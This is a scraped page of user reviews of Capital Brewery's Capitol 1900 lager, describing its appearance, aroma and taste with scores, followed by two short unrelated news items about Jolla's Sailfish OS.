Pours a bright and clear yellow in color with a fairly dense white head that quickly disappears. Sparse lacing. Aromas are sweet and bread-like. Flavor sees more of the bready-wheat flavor, with some muted floral hoppy bitterness and some grainy sweetness near the end. Finished with a discernible "corn" taste. Crisp and snappy finish. Nothing lingering on the palate. Not very big on the palate. Easy-to-drink.
01-09-2005 23:43:24 | More by OldFrothingSlosh
3.18/5 rDev -5.9%
Into a pint glass, pours a light yellow with decent white head and stringy lacing. Aroma is typical lager grainy malt, pretty stock. Taste is rather grainy like the nose, the mouth about average body, maybe a little better, but overall a pretty average beer. Something to glad to have tried, but nothing I'll be grabbing again.
09-16-2006 03:29:12 | More by objectivemonkey
3.18/5 rDev -5.9%
This brew pours with a light golden color and a nice foamy head that sticks around for a bit. The aroma is of crisp lightly toasted bready malt. The just heavier than medium body supports a delicate malt presence with a distinctly bready character to it. This is a smooth and refreshing recipe. With a mellow sweet finish.
09-07-2002 14:19:38 | More by beernut7
3.25/5 rDev -3.8%
Capitol's imitation lager, really. This was the kind of beer that miller light beer drinkers can quaff, but other than that, there isn't much here.
It pours a pale straw yellow suffused with plenty of bubbles to form a white head. The taste is yeasty, and it finishes with a yeast flavor afterwards.
01-21-2004 00:32:51 | More by Reneejane
3.25/5 rDev -3.8%
11-28-2011 22:41:45 | More by brandoman63
3.25/5 rDev -3.8%
Pretty ho-hum appearance. Gold color, white head.
The smell has an interesting, almost woody quality to it that is kind of hard to put a finger on.
The flavor is grainy with some hint of corn, grass, and the mild flavor of a burnt something. There is a crisp finish to the beer, and a somewhat creamy mouthfeel.
Not a bad beer at all. Nothing too disagreeable about it, really.
Good for a summer BBQ, anyone could probably drink this. Except children, of course.
05-22-2004 23:51:01 | More by GIVEMEBACKMYSON
3.25/5 rDev -3.8%
03-27-2013 20:26:43 | More by harpus
3.25/5 rDev -3.8%
This "pre-prohibition style lager" pours a yellow-straw with a thin, white head that doesn't stick around too long. Smells of muted cereal malts with some sulurous, slightly metallic hops. Taste starts off with sweetish, biscuity malt and hints of cereal. Crisp, clean feel. Hop balance kicks in and fades into a slightly bitter finish with lingering doughy malts. Not bad. Goes down very easy, with just the right amount of carbonation. Makes me feel like I'm living in 1900 Wisconsin, or am I...
10-20-2004 21:55:13 | More by alexgash
3.28/5 rDev -3%
Beer has a nice gold color. Formed a nice white bubbly head that subsided and left some nice lace with a fairly steady carbonated stream of bubbles. . A citrusy aroma and taste of hops and lemon. Light malt finish. An OK beer, but there are better pilsners out there.
12-31-2003 02:28:11 | More by stoutman
New Hampshire
3.33/5 rDev -1.5%
This beer is just one of those mostly-unremarkable ones that I have every so often. It's a pretty gold color, smells like a lager with no hops in the nose. Taste--well, it's better than a macro in this respect...there is much more flavor and more body than most macro lagers. But it's not as remarkable as some of the other micros I've tried. this would bee a great beer to introduce a macro drinker to micros with...just a nice clean beer that's not a style which may offend. I liked it--but not enough to want more.
08-13-2006 05:36:15 | More by ccs
Capitol 1900 from Capital Brewery
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Jolla to get monthly OS updates
A user informs us that Jolla will be receiving monthly OS updates. It does makes sense considering the fact that the OS is very new and there are some key features missing compared to other OS's. Hope that the updates will constantly improve the Jolla user experience.
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Sailfish CEO wants users to install the OS in android devices
On interview with a finnish publication, Jolla CEO Tomi Pienimäki said that Jolla is planning to give users the ability to install Sailfish OS on their android devices. He confirms that installing the Sailfish OS on android devices is easy. He point out that in China, half of the android users upgrade to higher OS versions. Jolla is targeting this section of the crowd to increase the adoption of Sailfish OS.
Tomi goes on to say that there are websites providing OS's and Jolla is looking forward to partner with them and get the Sailfish OS also listed for download. Specifics of the website or time of availability was not mentioned though.
Why Android?
Probably due to the fact that Sailfish OS supports android apps (around 85000 of them). A highly optimistic assumption that android users will not miss the android OS much because of the availablity of their favorite apps. What do you think?